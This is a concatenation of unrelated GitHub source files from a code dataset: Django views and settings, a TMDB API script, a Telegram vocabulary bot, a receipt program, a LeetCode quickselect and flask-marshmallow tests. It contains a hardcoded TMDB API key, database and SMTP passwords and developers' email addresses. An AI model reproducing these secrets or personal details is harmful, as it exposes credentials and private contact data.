post_list","repo_name":"AlexandreSenpai/portfolio","sub_path":"backend/src/services/list_posts/use_case.py","file_name":"use_case.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73569667398","text":"# 함수 내부에 불필요한 print문이 있는 경우 오답으로 처리가 됩니다.\ndef is_position_safe(N, M, position):\n game_end = True # 2차원 평면 범위를 벗어나는지 여부\n position = list(position) # 포지션 튜플 리스트화\n \n if M == 1: # 칸 이동이 아래일 경우\n position[0] += 1 # 포지션 x 좌표 +1\n if position[0] >= N: # 범위에서 벗어날 경우\n game_end = False\n\n elif M == 2: # 칸 이동이 왼쪽일 경우\n position[1] += -1 # 포지션 y 좌표 -1\n if position[1] < 0: # 범위에서 벗어날 경우\n game_end = False\n\n elif M == 3: # 칸 이동이 오른쪽일 경우\n position[1] += 1 # 포지션 y 좌표 +1\n if position[1] >= N: # 범위에서 벗어날 경우\n game_end = False\n\n else: # 칸 이동이 위일 경우\n position[0] += -1 # 포지션 x 좌표 -1\n if position[0] < 0: # 범위에서 벗어날 경우\n game_end = False\n\n return game_end\n\n\n# 아래의 코드를 수정하거나 새롭게 추가하지 않습니다.\n########## 코드 변경 금지 ############\nif __name__ == '__main__':\n print(is_position_safe(3, 0, (0, 1))) # True\n print(is_position_safe(3, 1, (2, 1))) # False\n","repo_name":"flowerdonk/TIL","sub_path":"algorithm/과목평가/MT1_ans/problem10.py","file_name":"problem10.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10060574802","text":"from django.http import HttpResponse,JsonResponse\nfrom main.models import Prefix\nimport logging\nlogger = logging.getLogger('django')\n\ndef index(request):\n return HttpResponse(\"Hello, world. You're at the polls index.\")\n\ndef insert(request):\n word = request.GET.get(\"word\")\n word = list(word)\n word.append(\"\")\n temp = \"\"\n pretemp = None\n result = \"result:\\n\"\n for c in word:\n pretemp = temp\n temp += c\n querySet = Prefix.objects(prefix = pretemp)\n if len(querySet) == 0 :\n new_word = Prefix(prefix = pretemp, next_char = [])\n elif len(querySet) == 1 :\n new_word = querySet[0]\n else :\n raise Exception(\"NOT IMPLEMENT\")\n if c not in new_word.next_char:\n new_word.next_char.append(c)\n new_word.save()\n return HttpResponse(\"inserted!\")\n\ndef query(request):\n #return JsonResponse({\"qeury\":request.GET.get(\"q\"), \"autocompletions\":[\"a\",\"b\",\"c\"]})\n q = request.GET.get(\"q\")\n autocompletion = collectContainedWords(q)\n return JsonResponse({\"autocompletion\":autocompletion})\n\ndef collectContainedWords(prefix):\n #prefix不存在 return empty list\n querySet = Prefix.objects(prefix = prefix)\n if len(querySet) == 0:\n return []\n if len(querySet) > 1:\n raise Exception(\"NOT IMPLEMENT\")\n #step1:找到本node下面的直属的完整的词\n autocompletion = []\n document = querySet[0]\n if \"\" in document.next_char:\n autocompletion.append(document.prefix)\n #找到所有的children node\n for c in document.next_char:\n if c == \"\":\n continue\n #把每个child node下属的词都放入return里面\n childprefix = prefix + c\n autocompletion.extend(collectContainedWords(childprefix)) \n return autocompletion\n\n","repo_name":"szhu0513/Autocompletion","sub_path":"Backend/autocompletion/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74763154436","text":"import requests\nimport json\nfrom pprint import pprint\n\n# tmdb에 요청 보낼 url, path, 변수\nBase_URL = 'https://api.themoviedb.org/3'\npath = '/genre/movie/list'\nparams = {\n 'api_key': '2c7d28aa458a391931ccc39e32053cbb',\n 'region' : 'KR',\n 'language' : 'ko'\n}\n\n# 요청 보내고 받은 데이터를 json형태로 바꾸기\nresponse = requests.get(Base_URL + path, params=params)\ndata = response.json()\ngenres = data.get('genres')\n\n# DB에 들어갈 데이터를 추출하여 json형태로 저장\ntotal_data = []\nfor genre in genres:\n fields = {\n 'id': genre['id'],\n 'name': genre['name']\n }\n temp = {\n \"pk\": genre['id'],\n \"model\": \"movies.genre\",\n \"fields\": fields\n }\n total_data.append(temp)\n\n# json 파일 만들기\nwith open('./genres.json','w', encoding=\"utf-8\") as f:\n json.dump(total_data, f, ensure_ascii=False, indent=4)","repo_name":"junwoo0127/Project","sub_path":"final-project/final-pjt-back/tmdb/genres.py","file_name":"genres.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"69871072198","text":"# -*- coding: utf-8 -*-\nfrom core.settings.utils import DJANGO_ROOT\nfrom .dev import * # noqa\nimport os\n\nADMINS = (\n ('Tim Sutton', 'tim@kartoza.com'),\n ('Ismail Sunni', 'ismail@kartoza.com'),\n ('Christian Christelis', 'christian@kartoza.com'),\n ('Rizky Maulana Nugraha', 'lana.pcfre@gmail.com'))\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.contrib.gis.db.backends.postgis',\n 'NAME': 'gis',\n 'USER': 'docker',\n 'PASSWORD': 'docker',\n 'HOST': 'localhost',\n # Set to empty string for default.\n 'PORT': '6543',\n 'TEST_NAME': 'unittests',\n }\n}\n\n# MEDIA_ROOT = '/home/web/media'\nSTATIC_ROOT = '%s/feti/static' % DJANGO_ROOT\n\n# See docker-compose.yml file for postfix container definition\n#\nEMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\n# Host for sending e-mail.\nEMAIL_HOST = 'smtp'\n# Port for sending e-mail.\nEMAIL_PORT = 25\n# SMTP authentication information for EMAIL_HOST.\n# See fig.yml for where these are defined\nEMAIL_HOST_USER = 'noreply@kartoza.com'\nEMAIL_HOST_PASSWORD = 'docker'\nEMAIL_USE_TLS = False\nEMAIL_SUBJECT_PREFIX = '[feti]'\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n # define output formats\n 'verbose': {\n 'format': (\n '%(levelname)s %(name)s %(asctime)s %(module)s %(process)d '\n '%(thread)d %(message)s')\n },\n 'simple': {\n 'format': (\n '%(name)s %(levelname)s %(filename)s L%(lineno)s: '\n '%(message)s')\n },\n },\n 'handlers': {\n # console output\n 'console': {\n 'class': 'logging.StreamHandler',\n 'formatter': 'simple',\n 'level': 'DEBUG',\n },\n 'applogfile': {\n 'level': 'DEBUG',\n 'class': 'logging.handlers.RotatingFileHandler',\n 'filename': os.path.join(DJANGO_ROOT, 'feti.log'),\n 'maxBytes': 1024 * 1024 * 15, # 15MB\n 'backupCount': 10,\n },\n # 'logfile': {\n # 'class': 'logging.FileHandler',\n # 'filename': '/tmp/app-dev.log',\n # 'formatter': 'simple',\n # 'level': 'DEBUG',\n # }\n },\n 'loggers': {\n 'django.db.backends': {\n 'handlers': ['console'],\n 'level': 'INFO', # switch to DEBUG to show actual SQL\n },\n # example app logger\n 'localities': {\n 'level': 'DEBUG',\n 'handlers': ['console'],\n # propagate is True by default, which proppagates logs upstream\n 'propagate': False\n },\n 'feti': {\n 'handlers': ['applogfile'],\n 'level': 'DEBUG',\n }\n },\n # root logger\n # non handled logs will propagate to the root logger\n 'root': {\n 'handlers': ['console'],\n 'level': 'WARNING'\n }\n}\n\nHAYSTACK_CONNECTIONS = {\n 'default': {\n 'ENGINE': 'feti.search_backends.fuzzy_elastic_search_engine'\n '.FuzzyElasticSearchEngine',\n 'URL': 'http://localhost:9200/',\n 'INDEX_NAME': 'haystack',\n },\n}\n","repo_name":"kartoza/feti","sub_path":"django_project/core/settings/dev_rizky.py","file_name":"dev_rizky.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"4472651178","text":"from django.conf.urls import url\nfrom .views import learnDigit, learnMnist, recognizeDigit, resetTrain\n\n\napp_name = 'api'\n\nurlpatterns = [\n url(r'^recognizeDigit', recognizeDigit, name='recognizeDigit'),\n url(r'^learnDigit', learnDigit, name='learnDigit'),\n url(r'^learnMnist', learnMnist, name='learnMnist'),\n url(r'^resetTrain$', resetTrain, name='resetTrain')\n]","repo_name":"ArenAzibekyan/MpprNeuralNetwork","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15999820420","text":"import re\n\nfrom aiogram import types\n\nfrom bot import ilt\nfrom bot.app.core import bot, authorize, get_session, RESTART\nfrom bot.bot_utils.bot_utils import to_one_row_keyboard, to_vertical_keyboard, get_hint, flexy_keyboard\nfrom bot.ilt import sort_words, tasks, level_up\nfrom bot.bot_utils import spaced_repetition as sr, mysql_connect\nfrom bot.app.learn import reading, syntaxis, texts\nfrom loguru import logger\n\nfrom bot.speech import text2speech\n\n\nasync def start_learning_message(message):\n \"\"\"\n Gets the /learn or /test commands\n makes a menu to select from\n :param message:\n :return: sends messege with a menu to select learning items from\n \"\"\"\n session, isValid = await authorize(message.from_user.id, with_lang=True)\n if not isValid:\n return\n if message.text == '/test':\n # FIXME do I need it? (Used in adding words to specify calls. Should be replaced with normal dp.callback_query_handler\n session.status = '/test'\n if message.text == '/learn':\n session.status = '/learn'\n await message.reply(\"OK, let's learn some \" + session.active_lang())\n kb_data = list()\n kb_data.append((('10', 10, \"learn_all_words\"), ('20', 20, \"learn_all_words\"),\n ('30', 30, \"learn_all_words\"), ('40', 40, \"learn_all_words\"),))\n kb_data.append((('Do all tasks (use /stop to finish learning)', -1, \"learn_all_words\"),))\n\n lists = mysql_connect.get_list_names(message.from_user.id, session.active_lang())\n if len(lists) > 0:\n for i in range(len(lists)):\n kb_data.append(((lists[i], i, \"learn_words_from_list\"),))\n\n kb = flexy_keyboard(kb_data)\n await bot.send_message(session.get_user_id(), \"What do you want to learn now?\",\n reply_markup=kb)\n\n\nasync def learn_all_words(query: types.CallbackQuery, callback_data: dict):\n \"\"\"\n learn all words from spaced_repetition\n :param query:\n :param callback_data:\n :return:\n \"\"\"\n logger.debug(str(query.from_user.id)\n + \" learn_all_words \" + str(callback_data))\n n = int(callback_data['data'])\n session, isValid = await authorize(query.from_user.id, with_lang=True)\n if not isValid:\n return\n hids = sr.get_items_to_learn(\n (session.get_user_id(), session.active_lang()),\n upper_recall_limit=1.0, n_words=n)\n logger.debug(\"{}, found {} tasks to do\", session.get_user_id(), len(hids))\n if len(hids) == 0:\n if session.status == '/test':\n await bot.send_message(session.get_user_id(),\n 'You should add at least one word with /addwords command to start training')\n return True\n words = mysql_connect.fetch_by_hids(session.get_user_id(), hids)\n logger.debug(\"{}, fetched {} tasks to do\", session.get_user_id(), len(words))\n session.words_to_learn = words\n session.current_word = 0\n if not session.has_more_words_to_learn():\n # Case 2: doing reading errors\n await bot.send_message(session.get_user_id(), \"Let's revise some words\")\n await reading.do_reading_errors(query, callback_data)\n else:\n # Case 1: reading exercises\n await start_learning(session)\n\n\nasync def learn_words_from_list(query: types.CallbackQuery, callback_data: dict):\n logger.debug(str(query.from_user.id)\n + \" learn_all_words \" + str(callback_data))\n session, isValid = await authorize(query.from_user.id, with_lang=True)\n if not isValid:\n return\n lists = mysql_connect.get_list_names(query.from_user.id, session.active_lang())\n list_name = lists[int(callback_data['data'])]\n logger.info(\"{} learns {}\", query.from_user.id, list_name)\n text_hid = mysql_connect.fetchone('SELECT text_hid FROM user_texts WHERE user=%s AND list_name=%s',\n (session.get_user_id(), list_name))\n if text_hid is not None:\n summary = mysql_connect.fetchone('SELECT summary FROM text_summary WHERE user=%s AND hid=%s',\n (session.get_user_id(), text_hid[0]))\n if summary is not None:\n # (word, definition, mode, hid)]\n session.words_to_learn = list()\n session.words_to_learn.append((summary[0], list_name, 20, text_hid[0]))\n k = to_one_row_keyboard(['Words', 'Summary'], [0, 1],\n ['text_words', 'text_summary'])\n await bot.send_message(session.get_user_id(),\n 'You created a summary for text _{}_.\\n'\n 'Would you like to learn words or continue with your summary?'\n .format(list_name),\n reply_markup=k)\n return\n hids = mysql_connect.get_hids_for_list(query.from_user.id, list_name)\n logger.info(\"{} has {} tasks from list {}\", query.from_user.id, len(hids), list_name)\n hids_all = sr.get_items_to_learn(\n (session.get_user_id(), session.active_lang()),\n upper_recall_limit=0.5)\n logger.info(\"{} has {} tasks to learn\", query.from_user.id, len(hids_all))\n hids = list(set(hids) & set(hids_all))\n logger.info(\"{} has {} tasks from list {} to learn\", query.from_user.id, len(hids), list_name)\n # hids = list() #FIXME NOW delete after testing!!!\n if len(hids) == 0:\n sentence_hids = mysql_connect.get_sentence_hids(query.from_user.id, list_name)\n sentence_hids = ilt.get_objects(sentence_hids, '1 day', session.get_user_id(),\n session.active_lang(), \"SENTENCE\", 10)\n logger.info(\"{} has {} sentences from list {} to learn\", query.from_user.id, len(sentence_hids), list_name)\n await bot.send_message(query.from_user.id, \"You have {} sentences from list {} to learn\"\n .format(len(sentence_hids), list_name))\n if len(sentence_hids) > 0:\n session.current_level = 10 # Syntax learning\n await learn_sentences(query.from_user.id, list_name, session, sentence_hids)\n else:\n session.current_level = 20 # Text learning\n await texts.text_summarization(query.from_user.id, list_name, session)\n else:\n words = mysql_connect.fetch_by_hids(session.get_user_id(), hids)\n logger.debug(\"{}, fetched {} tasks to do\", session.get_user_id(), len(words))\n session.words_to_learn = words\n session.current_word = 0\n await start_learning(session)\n\n\nasync def learn_sentences(user, list_name, session, hids):\n sentences = mysql_connect.fetch_sentences(session.get_user_id(), list_name)\n if len(sentences) == 0:\n return\n await bot.send_message(user, \"You've done all the tasks from list _{}_. \"\n \"Now let's do some grammar exercises.\".format(list_name))\n # 0. word, 1. definition, 2. mode, 3. hid\n # 0. sentence, 1. translation, 2. mode, 3. hid\n sent_to_learn = list()\n if hids is not None:\n for s in sentences:\n if s[3] in hids:\n sent_to_learn.append(s)\n else:\n sent_to_learn = sentences\n session.words_to_learn = sent_to_learn\n session.current_word = 0\n await start_learning(session)\n\n\n# Get reply from the user and filter the data: set number and shuffle\nasync def start_learning(session):\n \"\"\"\n\n :param session:\n :return:\n \"\"\"\n words = session.words_to_learn\n words = sort_words(words)\n session.words_to_learn = words\n # await bot.send_message(session.get_user_id(), \"Check if you remember these words\")\n await do_learning(session)\n\n\n# The learning loop, reading task 1\nasync def do_learning(session):\n session, isValid = await authorize(session.get_user_id())\n if not isValid:\n return\n await do_learning1(session)\n\n\nasync def do_learning1(session):\n if not session.has_more_words_to_learn():\n await reading.do_reading_errors1(session)\n else:\n session = await get_session(session.get_user_id())\n if session is None:\n return\n word = session.get_current_word() # 0. word, 1. definition, 2. mode, 3. hid\n if word is None:\n await bot.send_message(session.get_user_id(), RESTART)\n logger.error(str(session.get_user_id()) + \" word is None\")\n return\n if word[2] == 0:\n # Do reading exercises\n session.current_level = word[2]\n logger.debug(\"{} started level {}\", session.get_user_id(), word[2])\n keyboard = to_one_row_keyboard([\"I remember\", \"Show meaning\"],\n data=[0, 1],\n action=[\"I_remember\", \"show\"])\n hint = get_hint(word[1])\n\n word_context = await get_context(word, True)\n await bot.send_message(session.get_user_id(), word_context + \"\\n\" + hint,\n reply_markup=keyboard, parse_mode=types.ParseMode.HTML)\n elif word[2] == 2:\n session.current_level = word[2]\n logger.debug(\"{} started level {}\", session.get_user_id(), word[2])\n if session.subscribed:\n logger.debug(\"{} is subscribed\", session.get_user_id())\n session.status = tasks[2]\n word_context = await get_context(word, False)\n word_context = re.sub(r'\\b' + word[0] + r'\\b',\n ' ... ',\n word_context,\n flags=re.I)\n await bot.send_message(session.get_user_id(),\n \"SAY this word: \" + word[1] + \"\\n\"\n + word_context,\n parse_mode=types.ParseMode.HTML)\n else:\n level_up(session)\n await do_learning(session)\n elif word[2] == 3:\n session.current_level = word[2]\n logger.debug(\"{} started level {}\", session.get_user_id(), word[2])\n if session.subscribed:\n logger.debug(\"{} is subscribed\", session.get_user_id())\n session.status = tasks[2]\n await bot.send_message(session.get_user_id(),\n \"*LISTEN* and *SAY* this word: *{}*\\n{}\".\n format(word[0], word[1]))\n voice = text2speech.get_voice(word[0], session.active_lang())\n await bot.send_audio(chat_id=session.get_user_id(),\n audio=voice,\n performer=word[1], caption=None,\n title=word[0])\n else:\n level_up(session)\n await do_learning(session)\n\n elif word[2] == 1:\n session.current_level = word[2]\n logger.debug(\"{} started level {}\", session.get_user_id(), word[2])\n session.status = tasks[1]\n word_context = await get_context(word, False)\n word_context = re.sub(r'\\b' + word[0] + r'\\b',\n ' ... ',\n word_context,\n flags=re.I)\n await bot.send_message(session.get_user_id(),\n \"WRITE the correct word for the definition:\\n\"\n \"\" + word[1] + \"\\n\" + word_context,\n parse_mode=types.ParseMode.HTML)\n # SENTENCES\n # Unscramble\n elif word[2] == 10:\n session.current_level = word[2]\n logger.debug(\"{} started level {}\", session.get_user_id(), word[2])\n await syntaxis.unscramble(session, word)\n\n\nasync def get_context(word, zero_context):\n contexts = mysql_connect.get_context_by_hid(word[3])\n word_context = ''\n if contexts is not None:\n for context in contexts:\n word_context += re.sub(r'\\b' + word[0] + r'\\b',\n '' + word[0] + '',\n context,\n flags=re.I)\n word_context += '\\n'\n if len(word_context) == 0:\n if zero_context:\n word_context = '' + word[0] + ''\n return word_context\n","repo_name":"tezer/OppiWordsBot","sub_path":"bot/app/learn/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":12436,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"62"} +{"seq_id":"38112661283","text":"# Import CSV Modual\nimport csv\n\n# Import DictWriter class from CSV module\nfrom csv import writer\n\n# Import the datetime class from the datetime\n# module so that it can be used in this program.\nfrom datetime import datetime\n\n# Call the now() method to get the current\n# date and time as a datetime object from\n# the computer's operating system.\ncurrent_date_and_time = datetime.now()\n\n# Define product indexes\nPRODUCT_NUMBER_INDEX = 0\nPRODUCT_NAME_INDEX = 1\nRETAIL_PRICE_INDEX = 2\n\n# Define request indexes\nQUANTITY_INDEX = 1\n\ndef main():\n try:\n # Read and store file\n # Use to insert into read_dict function\n product_dict = read_dict(\"products.csv\", PRODUCT_NUMBER_INDEX)\n\n print_product_dict_neat(product_dict)\n\n print()\n forgot_item = input(\"Would you like to add any items to your cart (y/n)? \").lower()\n while forgot_item == 'y':\n print()\n product_num = input(\"What product would you like to add to your request (D150)? \").capitalize()\n num_product = int(input(\"How much of the product do you need? \"))\n\n add_item_to_request_file(product_num, num_product)\n forgot_item = input(\"Would you like to add any items to your cart (y/n)? \").lower()\n\n # Print store name\n print()\n print(\"Inkom Emporium\")\n\n print()\n #print(\"Requested Items\")\n\n # Open and read the request.csv file\n with open(\"request.csv\", \"rt\") as csv_file:\n\n reader = csv.reader(csv_file)\n\n # Skip first line of file\n next(reader)\n\n # Place holders for number of items and subtotal\n num_items = 0\n subtotal = 0\n\n for row_list in reader:\n # Use the requested product number to find the corresponding item in the products_dict.\n\n # Establish product_number_index as key to use in product dictionary\n key = row_list[PRODUCT_NUMBER_INDEX]\n\n # Identify quantity_index as product quantity requested\n quantity = int(row_list[QUANTITY_INDEX])\n\n # Match key to value in product_dict\n value = product_dict[key]\n\n # Use value to find product name in product_dict\n product_name = value[PRODUCT_NAME_INDEX]\n\n # Use value to find retail price in product_dict\n price = float(value[RETAIL_PRICE_INDEX])\n\n # Print the product name, requested quantity, and product price.\n print(f\"{product_name}: {quantity} @ {price}\")\n\n num_items += quantity\n subtotal += price * quantity\n\n # Calculate sales tax and total\n sales_tax = round(subtotal * 0.06,2)\n total = sales_tax + subtotal\n\n # Totals listed\n print()\n print(f\"Number of Items: {num_items}\")\n print(f\"Subtotal: {subtotal:.2f}\")\n print(f\"Sales Tax: {sales_tax}\")\n print(f\"Total: {total:.2f}\")\n\n # Ending receipt information\n print()\n print(\"Thank you for shopping at Inkom Emporium\")\n # Print the current day of the week and the current time.\n print(f\"{current_date_and_time:%a %b %w %X %Y}\")\n print()\n\n # Error message if file isn't found or permissions aren't given\n except (FileNotFoundError, PermissionError) as error:\n print(\"Error: missing file\")\n print(error)\n\n # Error message if there is an unknown product\n except (KeyError) as error:\n print()\n print(f\"Error: unknown product ID in the request.csv file '{key}'\")\n print()\n\n# Create dictionary\ndef read_dict(filename, key_column_index):\n \"\"\"Read the contents of a CSV file into a compound\n dictionary and return the dictionary.\n\n Parameters\n filename: the name of the CSV file to read.\n key_column_index: the index of the column\n to use as the keys in the dictionary.\n Return: a compound dictionary that contains\n the contents of the CSV file.\n \"\"\"\n\n # Create dictionary\n dictionary = {}\n\n # Read CSV file\n with open(filename, \"rt\") as csv_file:\n\n # Use the csv module to create a reader object\n # that will read from the opened CSV file.\n reader = csv.reader(csv_file)\n\n # Skip first line because it is a heading\n next(reader)\n\n # Read the rows in the CSV file one row at a time.\n # The reader object returns each row as a list.\n for row_list in reader:\n\n # Define product number as key for each row\n key = row_list[key_column_index]\n\n # Add product number to dictionary as a key\n dictionary[key] = row_list\n \n return dictionary\n\n# Make dictionary neat\ndef print_product_dict_neat(product_dict):\n print()\n print(\"Products\")\n for product_name, retail_price in product_dict.items():\n print(\"{} {}\".format(product_name, retail_price))\n\n\ndef add_item_to_request_file(product_num, num_product):\n # List of column names \n list = [product_num, num_product]\n\n # Open your CSV file in append mode\n # Create a file object for this file\n with open('request.csv', 'a', newline='') as csv_file:\n\n # Pass the csv_file and a list \n # of the products\n writer_object = writer(csv_file)\n\n #Pass the list as an argument to the Writerow()\n writer_object.writerow(list)\n\n #Close the csv file\n csv_file.close()\n \n\n# Call main to start this program.\nif __name__ == \"__main__\":\n main()","repo_name":"trenton15/cse111","sub_path":"Week 10/receipt.py","file_name":"receipt.py","file_ext":"py","file_size_in_byte":5573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39877969055","text":"# https://leetcode.com/explore/challenge/card/january-leetcoding-challenge-2021/581/week-3-january-15th-january-21st/3606/\n\nclass Solution:\n def findKthLargest(self, nums: List[int], k: int) -> int:\n \"\"\"\n Quickselect: Quicksort mixed with binary search\n 1. Pick pivot\n 2. Put the pivot in the correct spot\n If the spot is k, return el\n elif k > pivot:\n repeat on right side\n else:\n repeat on left side\n \n quicksort in place\n [3,4,1,5,2]\n | <- wall\n pivot=3\n if num is less, swap with pivot and move wall\n [3,1,4,5,2]\n |\n [3,1,2,5,4]\n |\n \n \"\"\"\n result = None\n def quickselect(i=0, j=len(nums)-1):\n nonlocal result\n \n pivot_idx = i\n wall = i\n for idx in range(i, j+1):\n val = nums[idx]\n if val > nums[pivot_idx]:\n wall += 1\n nums[wall], nums[idx] = nums[idx], nums[wall]\n # swap end of wall with pivot\n nums[pivot_idx], nums[wall] = nums[wall], nums[pivot_idx]\n if wall + 1 == k:\n result = nums[wall]\n return\n elif k < wall + 1:\n quickselect(pivot_idx, wall-1)\n else:\n quickselect(wall+1, len(nums)-1)\n \n quickselect()\n return result\n","repo_name":"dtluther/leetcode","sub_path":"monthly_challenges/jan_2021/16.py","file_name":"16.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1457729248","text":"import string\n\nimport nltk\nimport spacy\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.stem.porter import PorterStemmer\nfrom nltk.tokenize import RegexpTokenizer\nfrom collections import Counter\n\n\nspacy_nlp = spacy.load('fr_core_news_sm')\nnltk.download('wordnet')\nnltk.download('stopwords')\nlemmatizer = WordNetLemmatizer()\nstemmer = PorterStemmer()\ntokenizer = RegexpTokenizer(r'[a-z]\\w+')\n\n\ndef raw_to_tokens(raw_string):\n \"\"\"\n Transform a raw string into a stentence with cleaned words\n \"\"\"\n\n string = raw_string.lower()\n string = remove_punctuation(string)\n tokens = tokenizer.tokenize(string)\n tokens = remove_stopwords(tokens)\n cleaned_text = word_stemmer(tokens)\n return cleaned_text\n\n\ndef remove_punctuation(text):\n\n no_punct = \"\".join(\n [c if c not in string.punctuation else \" \" for c in text])\n\n for i in range(10):\n no_punct = no_punct.replace(str(i), \" \")\n\n return no_punct\n\n\ndef remove_stopwords(words):\n no_stop_word = [c for c in words if c not in stopwords.words(\"french\")]\n return no_stop_word\n\n\ndef word_lemmeatizer(words):\n lem_words = [lemmatizer.lemmatize(word) for word in words]\n return lem_words\n\n\ndef word_stemmer(words):\n stem_text = \" \".join([stemmer.stem(word) for word in words])\n return stem_text\n\n\ndef remove_unfrequent_words(X_train, min_occurrence=10):\n\n word_counter = Counter()\n for text in X_train[\"designation\"]:\n word_counter.update(text.split())\n\n unfrequent_words = []\n for word in word_counter:\n if word_counter[word] < min_occurrence:\n unfrequent_words.append(word)\n\n def update_sentence(text):\n return \" \".join([word for word in text.split()\n if word not in unfrequent_words])\n\n X_train[\"designation\"] = [update_sentence(text)\n for text in X_train[\"designation\"]]\n\n return X_train\n","repo_name":"victor-paltz/ELTA","sub_path":"preprocessing/cleaning_functions.py","file_name":"cleaning_functions.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25602520954","text":"# -*- coding: utf-8 -*-\nimport pytest\n\nfrom flask import Flask, url_for\nfrom werkzeug.routing import BuildError\nfrom werkzeug.wrappers import BaseResponse\nfrom flask_marshmallow import Marshmallow\nfrom flask_marshmallow.fields import _tpl\n\nfrom flask_sqlalchemy import SQLAlchemy\n\nimport marshmallow\n\nMARSHMALLOW_2 = int(marshmallow.__version__.split('.')[0]) >= 2\n\n_app = Flask(__name__)\n\n@_app.route('/author/')\ndef author(id):\n return 'Steven Pressfield'\n\n@_app.route('/authors/')\ndef authors():\n return 'Steven Pressfield, Chuck Paluhniuk'\n\n@_app.route('/books/')\ndef books():\n return 'Legend of Bagger Vance, Fight Club'\n\n@_app.route('/books/')\ndef book(id):\n return 'Legend of Bagger Vance'\n\nmar = Marshmallow(_app)\n\n@pytest.yield_fixture(scope='function')\ndef app():\n\n ctx = _app.test_request_context()\n ctx.push()\n\n yield _app\n\n ctx.pop()\n\n@pytest.fixture(scope='function')\ndef ma(app):\n return Marshmallow(app)\n\n\nclass MockModel(dict):\n def __init__(self, *args, **kwargs):\n super(MockModel, self).__init__(*args, **kwargs)\n self.__dict__ = self\n\nclass Author(MockModel):\n pass\n\nclass Book(MockModel):\n pass\n\n@pytest.fixture\ndef mockauthor():\n author = Author(id=123, name='Fred Douglass')\n return author\n\n@pytest.fixture\ndef mockbook(mockauthor):\n book = Book(id=42, author=mockauthor, title='Legend of Bagger Vance')\n return book\n\n\n@pytest.mark.parametrize('template', [\n '',\n ' ',\n ' ',\n '< id>',\n '',\n '< id >',\n])\ndef test_tpl(template):\n assert _tpl(template) == 'id'\n assert _tpl(template) == 'id'\n assert _tpl(template) == 'id'\n\ndef test_url_field(ma, mockauthor):\n field = ma.URLFor('author', id='')\n result = field.serialize('url', mockauthor)\n assert result == url_for('author', id=mockauthor.id)\n\n mockauthor.id = 0\n result = field.serialize('url', mockauthor)\n assert result == url_for('author', id=0)\n\ndef test_url_field_with_invalid_attribute(ma, mockauthor):\n field = ma.URLFor('author', id='')\n with pytest.raises(AttributeError) as excinfo:\n field.serialize('url', mockauthor)\n expected_msg = '{0!r} is not a valid attribute of {1!r}'.format(\n 'not-an-attr', mockauthor)\n assert expected_msg in str(excinfo)\n\ndef test_url_field_deserialization(ma):\n field = ma.URLFor('author', id='', allow_none=True)\n # noop\n assert field.deserialize('foo') == 'foo'\n assert field.deserialize(None) is None\n\ndef test_invalid_endpoint_raises_build_error(ma, mockauthor):\n field = ma.URLFor('badendpoint')\n with pytest.raises(BuildError):\n field.serialize('url', mockauthor)\n\ndef test_hyperlinks_field(ma, mockauthor):\n field = ma.Hyperlinks({\n 'self': ma.URLFor('author', id=''),\n 'collection': ma.URLFor('authors')\n })\n\n result = field.serialize('_links', mockauthor)\n assert result == {\n 'self': url_for('author', id=mockauthor.id),\n 'collection': url_for('authors')\n }\n\ndef test_hyperlinks_field_recurses(ma, mockauthor):\n field = ma.Hyperlinks({\n 'self': {\n 'href': ma.URLFor('author', id=''),\n 'title': 'The author'\n },\n 'collection': {\n 'href': ma.URLFor('authors'),\n 'title': 'Authors list'\n }\n })\n result = field.serialize('_links', mockauthor)\n\n assert result == {\n 'self': {'href': url_for('author', id=mockauthor.id),\n 'title': 'The author'},\n 'collection': {'href': url_for('authors'),\n 'title': 'Authors list'}\n }\n\n\ndef test_hyperlinks_field_recurses_into_list(ma, mockauthor):\n field = ma.Hyperlinks([\n {'rel': 'self', 'href': ma.URLFor('author', id='')},\n {'rel': 'collection', 'href': ma.URLFor('authors')}\n ])\n result = field.serialize('_links', mockauthor)\n\n assert result == [\n {'rel': 'self', 'href': url_for('author', id=mockauthor.id)},\n {'rel': 'collection', 'href': url_for('authors')}\n ]\n\ndef test_hyperlinks_field_deserialization(ma):\n field = ma.Hyperlinks({\n 'href': ma.URLFor('author', id='')\n }, allow_none=True)\n # noop\n assert field.deserialize('/author') == '/author'\n assert field.deserialize(None) is None\n\ndef test_absolute_url(ma, mockauthor):\n field = ma.AbsoluteURLFor('authors')\n result = field.serialize('abs_url', mockauthor)\n assert result == url_for('authors', _external=True)\n\ndef test_absolute_url_deserialization(ma):\n field = ma.AbsoluteURLFor('authors', allow_none=True)\n assert field.deserialize('foo') == 'foo'\n assert field.deserialize(None) is None\n\ndef test_deferred_initialization():\n app = Flask(__name__)\n m = Marshmallow()\n m.init_app(app)\n\n assert 'flask-marshmallow' in app.extensions\n\ndef test_aliases(ma):\n from flask_marshmallow.fields import UrlFor, AbsoluteUrlFor, URLFor, AbsoluteURLFor\n assert UrlFor is URLFor\n assert 